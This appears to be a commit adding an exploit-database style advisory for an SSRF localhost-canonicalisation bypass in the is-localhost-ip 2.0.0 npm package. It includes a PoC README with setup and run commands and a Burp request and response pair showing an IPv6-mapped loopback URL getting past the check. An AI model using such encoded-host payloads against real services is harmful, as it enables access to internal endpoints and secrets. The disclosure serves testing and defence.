|
| 1 | +# Titles: is-localhost-ip 2.0.0 - SSRF |
| 2 | +# Author: nu11secur1ty |
| 3 | +# Date: 11/09/2025 |
| 4 | +# Vendor: https://github.com/tinovyatkin/is-localhost-ip |
| 5 | +# Software: |
| 6 | +https://github.com/tinovyatkin/is-localhost-ip/releases/tag/v2.0.0 |
| 7 | +# Reference: https://portswigger.net/web-security/ssrf |
| 8 | + |
| 9 | +## Description: |
| 10 | + |
| 11 | +# SSRF PoC — Professional README |
| 12 | + |
| 13 | +**WARNING: This repository contains a proof‑of‑concept (PoC) demonstrating |
| 14 | +an SSRF / localhost canonicalization bypass. |
| 15 | +Run only on isolated, non-production machines (local VM, sandbox). Do NOT |
| 16 | +expose to the internet.** |
| 17 | + |
| 18 | +## Overview |
| 19 | + |
| 20 | +This PoC demonstrates how a naive server that blocks "localhost" by name |
| 21 | +can be bypassed using alternate IP encodings (hex, decimal, octal, |
| 22 | +IPv6-mapped). The included `index.js` is a **tested, minimal** Express app |
| 23 | +that: |
| 24 | + |
| 25 | +- Provides `/check-url?url=<URL>` which checks `is-localhost-ip(hostname)` |
| 26 | +and fetches the URL if allowed. |
| 27 | +- Provides `/secret` that returns a generated secret-style JSON object |
| 28 | +(used to prove leakage). |
| 29 | +- Includes a test harness to exercise multiple host encodings — **tests are |
| 30 | +disabled by default** and must be explicitly enabled with |
| 31 | +`ENABLE_SELF_TEST=1`. |
| 32 | + |
| 33 | +## Files included |
| 34 | + |
| 35 | +- `PoC.js` — the PoC server (safe by default: self-tests disabled unless |
| 36 | +enabled). |
| 37 | +- `package.json` — minimal package manifest. |
| 38 | +- `README.md` — this file. |
| 39 | + |
| 40 | +## Quick security summary (read before running) |
| 41 | + |
| 42 | +- **Do not** run this on machines that have access to production networks, |
| 43 | +secret stores, or sensitive services. |
| 44 | +- The PoC generates synthetic API keys at `/secret`. If a test succeeds, a |
| 45 | +generated key will be returned by `/check-url` — treat that as |
| 46 | +proof-of-concept and not a real secret, unless you wired it to a real |
| 47 | +system. |
| 48 | +- Prefer running inside an isolated VM with no network access to your |
| 49 | +corporate network; or a disposable container with blocked egress to RFC1918 |
| 50 | +and loopback. |
| 51 | + |
| 52 | +## Requirements |
| 53 | + |
| 54 | +- Node.js **v18+** (for built-in `fetch`). |
| 55 | +- npm (comes with Node). |
| 56 | + |
| 57 | +## Setup |
| 58 | + |
| 59 | +```bash |
| 60 | +# create directory and extract the archive or clone this repo |
| 61 | +# inside the project directory: |
| 62 | +npm install |
| 63 | +``` |
| 64 | + |
| 65 | +`package.json` in this archive will install: |
| 66 | +- `express` |
| 67 | +- `is-localhost-ip` |
| 68 | +- `ipaddr.js` (used by the safer checks in the index.js) |
| 69 | + |
| 70 | +## How to run (safe default) |
| 71 | + |
| 72 | +By default, the server will **not** run the self-tests. To start the server: |
| 73 | + |
| 74 | +```bash |
| 75 | +node PoC.js |
| 76 | +``` |
| 77 | + |
| 78 | +You should see: |
| 79 | +``` |
| 80 | +Express server running on http://localhost:3005 |
| 81 | +Self-tests disabled (set ENABLE_SELF_TEST=1 to enable) |
| 82 | +``` |
| 83 | + |
| 84 | +Then in another terminal: |
| 85 | + |
| 86 | +```bash |
| 87 | +curl "http://localhost:3005/check-url?url=https://example.com" |
| 88 | +``` |
| 89 | + |
| 90 | +Expected: fetched content preview (if allowed). |
| 91 | + |
| 92 | +## How to run the internal tests (ONLY in an isolated environment) |
| 93 | + |
| 94 | +If you want to run the bypass tests to reproduce the PoC **locally and |
| 95 | +isolated**, enable them explicitly: |
| 96 | + |
| 97 | +```bash |
| 98 | +ENABLE_SELF_TEST=1 node PoC.js |
| 99 | +``` |
| 100 | + |
| 101 | +The process will run a set of encoded-hostname tests against the local |
| 102 | +`/secret` endpoint and print a summary. If any variant returns `200` and |
| 103 | +the response includes `"apikey":`, that variant demonstrated a bypass in |
| 104 | +your environment. |
| 105 | + |
| 106 | +## How to disable the `/secret` endpoint (extra safety) |
| 107 | + |
| 108 | +If you want to remove the sensitive test endpoint entirely, edit `PoC.js` |
| 109 | +and remove or comment out the `/secret` route. |
| 110 | + |
| 111 | +## Safe patch summary (what this PoC does to be safer) |
| 112 | + |
| 113 | +- Resolves hostnames to IP addresses server-side using DNS and checks all |
| 114 | +addresses against ipaddr.js ranges (rejects |
| 115 | +loopback/private/link-local/reserved). |
| 116 | +- Rejects non-http(s) schemes, credentials in URL, and non-allowed ports. |
| 117 | +- Avoids following redirects when fetching upstream resources. |
| 118 | +- Disables automatic self-tests by default (opt-in). |
| 119 | + |
| 120 | +## Responsible disclosure template |
| 121 | + |
| 122 | +If you plan to report this behavior to a maintainer/vendor, use the |
| 123 | +template in the original analysis or contact the project privately with: |
| 124 | +- Node version, OS, `is-localhost-ip` version |
| 125 | +- Minimal PoC command and the exact payload(s) that worked |
| 126 | +- Logs showing the returned JSON that includes the generated `apikey` |
| 127 | + |
| 128 | +## License |
| 129 | + |
| 130 | +This PoC is provided for testing and defensive purposes only. Use at your |
| 131 | +own risk. No warranty. |
| 132 | + |
| 133 | +---------------------------------------------------------------- |
| 134 | + |
| 135 | +STATUS: Medium |
| 136 | + |
| 137 | + |
| 138 | +[+]Payload + Exploit Burp Suite: |
| 139 | + |
| 140 | +``` |
| 141 | +# normal 403 Forbidden |
| 142 | +GET /check-url?url=http://10.10.0.28:3005 HTTP/1.1 |
| 143 | +Host: 10.10.0.28:3005 |
| 144 | +Content-Len gth: 2 |
| 145 | +Content-Length: 2 |
| 146 | + |
| 147 | + |
| 148 | +HTTP/1.1 403 Forbidden |
| 149 | +X-Powered-By: Express |
| 150 | +Content-Type: application/json; charset=utf-8 |
| 151 | +Content-Length: 33 |
| 152 | +ETag: W/"21-6j4oICVQ6Z+6nx0WETDHqqeeklM" |
| 153 | +Date: Sun, 09 Nov 2025 09:29:34 GMT |
| 154 | +Connection: keep-alive |
| 155 | +Keep-Alive: timeout=5 |
| 156 | + |
| 157 | +{"error":"localhost not allowed"} |
| 158 | + |
| 159 | +----------------------------------------------------------------- |
| 160 | + |
| 161 | +# Exploit |
| 162 | +GET /check-url?url=http://[::ffff:7f00:1]:3005 HTTP/1.1 |
| 163 | +Host: 10.10.0.28:3005 |
| 164 | +Content-Len gth: 2 |
| 165 | +Content-Length: 2 |
| 166 | + |
| 167 | + |
| 168 | +HTTP/1.1 200 OK |
| 169 | +X-Powered-By: Express |
| 170 | +Content-Type: text/html; charset=utf-8 |
| 171 | +Content-Length: 306 |
| 172 | +ETag: W/"132-0QnJdvy6r/DgvnNvBs+i8eLbOLc" |
| 173 | +Date: Sun, 09 Nov 2025 09:29:28 GMT |
| 174 | +Connection: keep-alive |
| 175 | +Keep-Alive: timeout=5 |
| 176 | + |
| 177 | +{"message":"Express server running","usage":"GET /check-url?url= |
| 178 | +https://10.10.0.28:3005","examples":["GET /check-url?url= |
| 179 | +https://httpbin.org/json","GET /check-url?url=http://localhost:8080","GET |
| 180 | +/check-url?url=https://google.com"],"endpoints":["GET /","GET |
| 181 | +/check-url?url=<URL>","GET /secret"],"port":3005} |
| 182 | + |
| 183 | +``` |
| 184 | + |
| 185 | +# Reproduce: |
| 186 | +[href]( |
| 187 | +https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2025/CVE-2025-9960 |
| 188 | +) |
| 189 | + |
| 190 | +# Demo: |
| 191 | +[href](https://www.patreon.com/posts/cve-2025-9960-is-143172786) |
| 192 | + |
| 193 | +# Time spent: |
| 194 | +03:15:00 |
| 195 | + |
| 196 | + |
| 197 | +-- |
| 198 | +System Administrator - Infrastructure Engineer |
| 199 | +Penetration Testing Engineer |
| 200 | +Exploit developer at https://packetstormsecurity.com/ |
| 201 | +https://cve.mitre.org/index.html |
| 202 | +https://cxsecurity.com/ and https://www.exploit-db.com/ |
| 203 | +home page: https://www.asc3t1c-nu11secur1ty.com/ |
| 204 | +hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= |
| 205 | +nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/> |
| 206 | + |
| 207 | +-- |
| 208 | + |
| 209 | +System Administrator - Infrastructure Engineer |
| 210 | +Penetration Testing Engineer |
| 211 | +Exploit developer at https://packetstorm.news/ |
| 212 | +https://cve.mitre.org/index.html |
| 213 | +https://cxsecurity.com/ and https://www.exploit-db.com/ |
| 214 | +0day Exploit DataBase https://0day.today/ |
| 215 | +home page: https://www.asc3t1c-nu11secur1ty.com/ |
| 216 | +hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= |
| 217 | + nu11secur1ty <http://nu11secur1ty.com/> |
0 commit comments